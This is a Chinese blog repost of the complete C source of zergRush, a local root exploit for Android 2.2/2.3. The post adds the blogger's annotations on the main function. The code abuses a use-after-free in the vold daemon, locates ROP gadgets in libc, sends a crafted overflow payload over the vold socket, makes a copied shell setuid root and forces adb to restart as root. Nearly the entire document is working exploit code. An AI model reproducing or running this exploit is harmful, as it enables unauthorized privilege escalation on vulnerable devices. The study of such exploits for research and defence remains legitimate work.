主页 > android > zeroRush源码[转贴]

zeroRush源码[转贴]

2012年11月20日 发表评论 查看评论

转自:https://github.com/revolutionary/zergRush/blob/master/zergRush.c

这是一个利用栈溢出获取权限的代码,肚腩只注释的MAIN函数,其它的需要各位亲自己理解下。

/* android 2.2/2.3 libsysutils root exploit use-after-free
* Exploited by rewriting a FrameworkCommand object making the runCommand
* point to our first ROP gadget.
* Copyright (c) 2011, The Revolutionary development team.
* Before using, insert empty formatted sdcard. USE IT AT YOUR OWN RISK,
* THIS PROGRAM MIGHT NOT WORK OR MAKES YOUR DEVICE USELESS/BRICKED.  SO BE
* WARNED!  I AM NOT RESPONSIBLE FOR ANY DAMAGE IT MIGHT CAUSE!
* It only works if called from adb shell since we need group log.
* Compile:
* agcc zergRush.c -o zergRush -ldiskconfig -lcutils
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <errno.h>
#include <fcntl.h>

#include <sys/mount.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/un.h>

#include <dirent.h>

#include <dlfcn.h>

#include <sys/system_properties.h>
#include <cutils/sockets.h>
#include <private/android_filesystem_config.h>

static pid_t logcat_pid = 0;
static char *sh = "/data/local/tmp/sh";
static char *bsh = "/data/local/tmp/boomsh";
static char *crashlog = "/data/local/tmp/crashlog";
static char *vold = "/system/bin/vold";

uint32_t heap_addr;
uint32_t libc_base;
uint32_t heap_base_addr;
uint32_t heap_offset;
uint32_t r9 = 0, r10 = 0, fp = 0;
uint32_t stack_addr = 0x41414141;
uint32_t system_ptr = 0;
uint32_t stack_pivot = 0x41414141;
uint32_t pop_r0 = 0x41414141;
uint32_t jumpsz = 0;
uint32_t gadget_jumpsz = 108;
uint32_t buffsz = 0;
uint32_t allbuffsz[] = {16,24,0};

uint8_t adjust = 0;

uint8_t samsung = 0;

extern char **environ;

static void die(const char *msg)
{
perror(msg);
exit(errno);
}

static int copy(const char *from, const char *to)
{
int fd1, fd2;
char buf[0x1000];
int r = 0;

 if ((fd1 = open(from, O_RDONLY)) < 0)
  return -1;
if ((fd2 = open(to, O_RDWR|O_CREAT|O_TRUNC, 0600)) < 0) {
  close(fd1);
  return -1;
}

 for (;;) {
  r = read(fd1, buf, sizeof(buf));
  if (r <= 0)
   break;
  if (write(fd2, buf, r) != r)
   break;
}

 close(fd1);
close(fd2);
sync(); sync();
return r;
}

static int remount_data(const char *mntpoint)
{
FILE *f = NULL;
int found = 0;
char buf[1024], *dev = NULL, *fstype = NULL;

 if ((f = fopen("/proc/mounts", "r")) == NULL)
  return -1;

 memset(buf, 0, sizeof(buf));
for (;!feof(f);) {
  if (fgets(buf, sizeof(buf), f) == NULL)
   break;
  if (strstr(buf, mntpoint)) {
   found = 1;
   break;
  }
}
fclose(f);
if (!found)
  return -1;
if ((dev = strtok(buf, " \t")) == NULL)
  return -1;
if (strtok(NULL, " \t") == NULL)
  return -1;
if ((fstype = strtok(NULL, " \t")) == NULL)
  return -1;
return mount(dev, mntpoint, fstype, MS_REMOUNT, 0);
}

static void *find_symbol(char *sym)
{
void *r = NULL;
void *dlh = dlopen("/system/libc/libc.so", RTLD_NOW);

 if (!dlh)
  die("[-] dlopen");
if ((r = (void *)dlsym(dlh, sym)) == NULL)
  die("[-] dlsym");
dlclose(dlh);
return r;
}

static int bad_byte(uint8_t byte)
{
switch(byte) {
  case 0x20:
  case 0x22:
  case 0x5c:
  case 0x00:
   return 1;
   break;
  default:
   break;
}
return 0;
}

static void heap_oracle() {
char ok = 1;
if (r9 > heap_base_addr && r9 < (heap_base_addr+0x10000))
  heap_addr = r9 + 0x70;
else if (r10 > heap_base_addr && r10 < (heap_base_addr+0x10000))
  heap_addr = r10 + 0x70;
else if (fp > heap_base_addr && fp < (heap_base_addr+0x10000))
  heap_addr = fp + 0x70;
else
  ok = 0;

 while(bad_byte(heap_addr&0xff)) heap_addr += 0x20;
if(ok)
  printf("[+] Overseer found a path ! 0x%08x\n", heap_addr);
else {
  printf("[-] No path found, let's hope ...\n");
  heap_addr = heap_base_addr + heap_offset;
}
}

static int check_addr(uint32_t addr)
{
/*
  * Check if address contains one of the forbidden bytes
  */
int i = 0;

 for(i=0; i<32; i+=8)
  if(bad_byte((addr>>i) & 0xff))
   return -1;

 return 0;
}

static int do_fault()
{
char buf[255];
int sock = -1, n = 0, i;
char s_stack_addr[5], s_stack_pivot_addr[5], s_pop_r0_addr[5], s_system[5], s_bsh_addr[5], s_heap_addr[5];
uint32_t bsh_addr;
char padding[128];
int32_t padding_sz = (jumpsz == 0 ? 0 : gadget_jumpsz - jumpsz);

 if(samsung) {
  printf("[*] Sleeping a bit (~40s)...\n");
  sleep(40);
  printf("[*] Waking !\n");
}

 memset(padding, 0, 128);
strcpy(padding, "LORDZZZZzzzz");
if(padding_sz > 0) {
  memset(padding+12, 'Z', padding_sz);
  printf("[*] Popping %d more zerglings\n", padding_sz);
}
else if(padding_sz < 0) {
  memset(padding, 0, 128);
  memset(padding, 'Z', 12+padding_sz);
}

 if ((sock = socket_local_client("vold", ANDROID_SOCKET_NAMESPACE_RESERVED, SOCK_STREAM)) < 0)
  die("[-] Error creating Nydus");

 sprintf(s_stack_addr, "%c%c%c%c", stack_addr & 0xff, (stack_addr>>8)&0xff, (stack_addr>>16)&0xff, (stack_addr>>24)&0xff);
sprintf(s_stack_pivot_addr, "%c%c%c%c", stack_pivot & 0xff, (stack_pivot>>8)&0xff, (stack_pivot>>16)&0xff, (stack_pivot>>24)&0xff);
sprintf(s_pop_r0_addr, "%c%c%c%c", pop_r0 & 0xff, (pop_r0>>8)&0xff, (pop_r0>>16)&0xff, (pop_r0>>24)&0xff);
sprintf(s_system, "%c%c%c%c", system_ptr & 0xff, (system_ptr>>8)&0xff, (system_ptr>>16)&0xff, (system_ptr>>24)&0xff);
sprintf(s_heap_addr, "%c%c%c%c", heap_addr & 0xff, (heap_addr>>8)&0xff, (heap_addr>>16)&0xff, (heap_addr>>24)&0xff);

 if(adjust)
  strcpy(buf, "ZERGZERG");
else
  strcpy(buf, "ZERG");
strcat(buf, " ZZ ");
strcat(buf, s_stack_pivot_addr);
for(i=3; i < buffsz+1; i++)
  strcat(buf, " ZZZZ");
strcat(buf, " ");
strcat(buf, s_heap_addr);

 n = strlen(buf);
bsh_addr = stack_addr + n + 1 + 8 + 8 + 8 + padding_sz + 12 + 4;

 if(check_addr(bsh_addr) == -1) {
  printf("[-] Colossus, we're doomed!\n");
  exit(-1);
}

 sprintf(s_bsh_addr, "%c%c%c%c", bsh_addr & 0xff, (bsh_addr>>8)&0xff, (bsh_addr>>16)&0xff, (bsh_addr>>24)&0xff);

 n += sprintf(buf+n+1, "%s%s OVER%s%s%s%sZZZZ%s%c", s_stack_addr, s_heap_addr, padding, s_pop_r0_addr, s_bsh_addr, s_system, bsh, 0);

 printf("[*] Sending %d zerglings ...\n", n);

 if ((n = write(sock, buf, n+1)) < 0)
  die("[-] Nydus seems broken");

 sleep(3);
close(sock);

 return n;
}

static int find_rop_gadgets()
{
/*
  * add sp, #108 -> b01b
  * pop	{r4, r5, r6, r7, pc} -> bdf0
  *
  * pop	{r0, pc} -> bd01
  */
int fd;
char r[2], d[2];
int n = 2;
int bad = 0;

 if((fd=open("/system/lib/libc.so", O_RDONLY)) == -1)
  die("[-] open");

 lseek(fd, 0x10000, SEEK_SET);

 while(n == 2 && (stack_pivot == 0x41414141 || pop_r0 == 0x41414141)) {
  n = read(fd, r, 2);
  switch(r[0]) {
  case '\x1b':
   if(stack_pivot == 0x41414141) {
    if(r[1] == '\xb0') {
     n = read(fd, d, 2);
     if(d[0] == '\xf0' && d[1] == '\xbd') {
      stack_pivot = libc_base + lseek(fd, 0, SEEK_CUR) - 4 + 1;
      if(check_addr(stack_pivot) == -1)
       stack_pivot = 0x41414141;
     }
    }
   }
   break;
  case '\x01':
   if(pop_r0 == 0x41414141) {
    if(r[1] == '\xbd') {
     pop_r0 = libc_base + lseek(fd, 0, SEEK_CUR) - 2 + 1;
     if(check_addr(pop_r0) == -1)
      pop_r0 = 0x41414141;
    }
   }
   break;
  default:
   break;
  }
}

 if (stack_pivot == 0x41414141) {
  printf("[-] You need more minerals !\n");
  bad = -1;
}

 if (pop_r0 == 0x41414141) {
  printf("[-] You need more vespene gas !\n");
  bad = -1;
}

 if(bad == -1)
  exit(-1);

 return 0;
}

static uint32_t checkcrash()
{
uint32_t fault_addr = 0;
char buf[1024], *ptr = NULL;
FILE *f = NULL;
long pos = 0;
int ret=0;

 system("/system/bin/logcat -c");
unlink(crashlog);

 if ((logcat_pid = fork()) == 0) {
  char *a[] = {"/system/bin/logcat", "-b", "main", "-f", crashlog, NULL};
  execve(*a, a, environ);
  exit(1);
}
sleep(3);

 if (do_fault() < 0)
  die("[-] Zerglings did not cause crash");
/* Give logcat time to write to file
  */
sleep(3);
if ((f = fopen(crashlog, "r")) == NULL)
  die("[-] Zerglings did not leave stuff at all");
fseek(f, pos, SEEK_SET);
do {
  memset(buf, 0, sizeof(buf));
  if (!fgets(buf, sizeof(buf), f))
   break;
  if ((ptr = strstr(buf, "  sp ")) != NULL)
   ret = 1;
  if ((ptr = strstr(buf, "  r9 ")) != NULL) {
   ptr += 5;
   r9 = (uint32_t)strtoul(ptr, NULL, 16);
  }
  if ((ptr = strstr(buf, "  10 ")) != NULL) {
   ptr += 5;
   r10 = (uint32_t)strtoul(ptr, NULL, 16);
  }
  if ((ptr = strstr(buf, "  fp ")) != NULL) {
   ptr += 5;
   fp = (uint32_t)strtoul(ptr, NULL, 16);
  }
} while (!feof(f));
pos = ftell(f);
fclose(f);

 return ret;
}

static uint32_t check_libc_base()
{
char buf[1024], *ptr = NULL;
FILE *f = NULL;
long pos = 0;
int ret=0;
uint32_t spotted_base = 0;

 if ((f = fopen(crashlog, "r")) == NULL)
  die("[-] Zerglings did not leave stuff at all");
fseek(f, pos, SEEK_SET);
do {
  memset(buf, 0, sizeof(buf));
  if (!fgets(buf, sizeof(buf), f))
   break;
  if ((ptr = strstr(buf, "  /system/lib/libc.so")) != NULL) {
   ptr -= 8;
   spotted_base = strtoul(ptr, NULL, 16) & 0xfff00000;
   if(spotted_base && spotted_base != libc_base) {
    libc_base = spotted_base;
    ret = 1;
   }
  }
} while (!feof(f) && !spotted_base);
pos = ftell(f);
fclose(f);

 return ret;
}

static uint32_t find_stack_addr()
{
uint32_t fault_addr = 0;
char buf[1024], *ptr = NULL;
FILE *f = NULL;
long pos = 0;
uint32_t sp=0, over=0;

 system("/system/bin/logcat -c");
unlink(crashlog);

 if ((logcat_pid = fork()) == 0) {
  char *a[] = {"/system/bin/logcat", "-b", "main", "-f", crashlog, NULL};
  execve(*a, a, environ);
  exit(1);
}
sleep(3);

 if (do_fault() < 0)
  die("[-] Zerglings did not cause crash");
/* Give logcat time to write to file
  */
sleep(3);
if ((f = fopen(crashlog, "r")) == NULL)
  die("[-] Zerglings did not leave stuff at all");
fseek(f, pos, SEEK_SET);
do {
  memset(buf, 0, sizeof(buf));
  if (!fgets(buf, sizeof(buf), f))
   break;
  if ((ptr = strstr(buf, "  4752455a")) != NULL && stack_addr == 0x41414141) {
   ptr -= 8;
   stack_addr = (uint32_t)strtoul(ptr, NULL, 16);
  }
  if ((ptr = strstr(buf, "  5245564f")) != NULL && !over) {
   ptr -= 8;
   over = (uint32_t)strtoul(ptr, NULL, 16);
  }
  if ((ptr = strstr(buf, "  sp ")) != NULL && !sp) {
   ptr += 5;
   sp = (uint32_t)strtoul(ptr, NULL, 16);
  }
  if ((ptr = strstr(buf, "  r9 ")) != NULL) {
   ptr += 5;
   r9 = (uint32_t)strtoul(ptr, NULL, 16);
  }
  if ((ptr = strstr(buf, "  10 ")) != NULL) {
   ptr += 5;
   r10 = (uint32_t)strtoul(ptr, NULL, 16);
  }
  if ((ptr = strstr(buf, "  fp ")) != NULL) {
   ptr += 5;
   fp = (uint32_t)strtoul(ptr, NULL, 16);
  }

 } while (!feof(f));
pos = ftell(f);
fclose(f);

 if(over && sp)
  jumpsz = over - sp;

 return stack_addr;
}

static void do_root()
{
remount_data("/data");
chown(sh, 0, 0);
chmod(sh, 04711);
property_set("ro.kernel.qemu","1");
exit(0);
}

int main(int argc, char **argv, char **env)
{
uint32_t i = 0, ok = 0;
char *ash[] = {sh, 0};
struct stat st;
char version_release[1024];
int tries=0;
 //下面这句判断是否是ROOT权限,如果是,就重新挂载DATA目录,将sh这个命令归属到ROOT用户组,并且赋予权限为04711,711这里不用说,主要是4表示是S标识,为系统文件。然后将内核属性ro.kernel.qemu赋权限1,这样ADB连接后就会以ROOT权限运行。安卓4.0有改这个属性的方法。
 if (geteuid() == 0 && getuid() == 0 && strstr(argv[0], "boomsh"))
  do_root();
//输出一些提示信息
 printf("\n[**] Zerg rush - Android 2.2/2.3 local root\n");
printf("[**] (C) 2011 Revolutionary. All rights reserved.\n\n");
printf("[**] Parts of code from Gingerbreak, (C) 2010-2011 The Android Exploid Crew.\n\n");
//复制文件到当前目录
 if (copy("/proc/self/exe", bsh) < 0 || copy("/system/bin/sh", sh) < 0)
  die("[-] Cannot copy boomsh.");
//赋予权限0711
 chmod(bsh, 0711);
//查看vold这个文件的状态,主要是用来计算vold堆地址
 stat(vold, &st);
heap_base_addr = ((((st.st_size) + 0x8000) / 0x1000) + 1) * 0x1000;
//检查android版本,如果不是2.2或2.3就退出了。
 __system_property_get("ro.build.version.release", version_release);

 if (strstr(version_release, "2.2")) {
  heap_offset = 0x108;
  printf("[+] Found a Froyo ! 0x%08x\n", heap_offset);
} else if (strstr(version_release, "2.3")) {
  heap_offset = 0x118;
  printf("[+] Found a GingerBread ! 0x%08x\n", heap_offset);
} else {
  printf("[-] Not a 2.2/2.3 Android ...\n");
  exit(-1);
}

 heap_addr = 0xffffff;
//如果是三星手机,走另一条路。
 __system_property_get("ro.build.fingerprint", version_release);
if(!strncmp(version_release, "samsung", 7)) {
  printf("[+] Found a Samsung, running Samsung mode\n");
  samsung = 1;
}
//查找system这个符号,这要是定位system的调用地址
 system_ptr = (uint32_t) find_symbol("system");
libc_base = system_ptr & 0xfff00000;
//找不到,那么完蛋,没办法破解
 if (check_addr(system_ptr) == -1) {
  printf("[-] High templars, we're doomed!\n");
  exit(-1);
}
//尝试溢出区大小,VOLD这个守护进程的溢出会在ABD LOGCAT中显示信息。
 tries = 0;
printf("[*] Scooting ...\n");
while(buffsz=allbuffsz[tries]) {
  if(checkcrash()) {
   printf("[+] Zerglings found a way to enter ! 0x%02x\n", buffsz);
   break;
  }
  tries++;
}
//作者玩星际2的。。。。囧!!
 if(!buffsz) {
  printf("[-] Hellions with BLUE flames !\n");
  exit(-1);
}
//checkcrash通过这些对信息的判断,确认栈地址和结构。
 for (tries = 0; tries < 2; tries++) {
  heap_oracle();
  find_stack_addr();

  if (stack_addr != 0x41414141 && jumpsz) {
   printf("[+] Zerglings caused crash (good news): 0x%08x 0x%04x\n", stack_addr, jumpsz);
   break;
  }
}

 if (stack_addr == 0x41414141 || !jumpsz) {
  printf("[-] Zerglings did not leave interesting stuff\n");
  exit(-1);
}

 if (check_addr(stack_addr) == -1) {
  if(bad_byte(stack_addr & 0xff)) {
   stack_addr += 4;
   adjust = 4;
   if (check_addr(stack_addr) == -1) {
    printf("[-] Siege tanks, we're doomed!\n");
    exit(-1);
   }
  }
  else {
   printf("[-] Siege tanks, we're doomed!\n");
   exit(-1);
  }
}

 if (jumpsz > 108 + 12) {
  printf("[-] This terran has walled!\n");
  exit(-1);
}

 if(check_libc_base()) {
  system_ptr = libc_base + (system_ptr & 0x000fffff);
  printf("[*] Creating more creep 0x%08x ...\n", system_ptr);

  if (check_addr(system_ptr) == -1) {
   printf("[-] High templars, we're doomed!\n");
   exit(-1);
  }
}
//干掉logcat进程,删除crashlog文件
 kill(logcat_pid, SIGKILL);
unlink(crashlog);
//找可替换溢出函数的地址。。
 printf("[*] Researching Metabolic Boost ...\n");
find_rop_gadgets();
printf("[+] Speedlings on the go ! 0x%08x 0x%08x\n", stack_pivot, pop_r0);
//用shellcode替换掉该函数
 do_fault();
//判断sh文件状态是不是修改+S成功。既成为了系统文件
stat(sh, &st);
if ((st.st_mode & 04000) == 04000) {
  char qemuprop[1];

  printf("\n[+] Rush did it ! It's a GG, man !\n");
  property_get("ro.kernel.qemu",qemuprop,"0");
//判断内核属性ro.kernel.qemu是不是设置为1.
//这样就结束了。
  if (qemuprop[0]=='1') {
   printf("[+] Killing ADB and restarting as root... enjoy!\n");
   fflush(stdout);
   sleep(1);
   kill(-1, SIGTERM);
  } else {
   printf("[-] Failed to set property to restart adb. Not killing.\n");
  }
} else {
  printf("\n[-] Bad luck, our rush did not succeed :(\n");
  fflush(stdout);
  sleep(1);
  kill(-1, SIGTERM);
}

 return 0;
}
 

注释是肚腩自己加的,有不对的地方请帮忙指正,多谢。。

原创文章,转载请注明: 转载自肚腩照明月'blog

本文链接地址: zeroRush源码[转贴]

文章的脚注信息由WordPress的wp-posturl插件自动生成


  1. 本文目前尚无任何评论.

SEO Powered by Platinum SEO from Techblissonline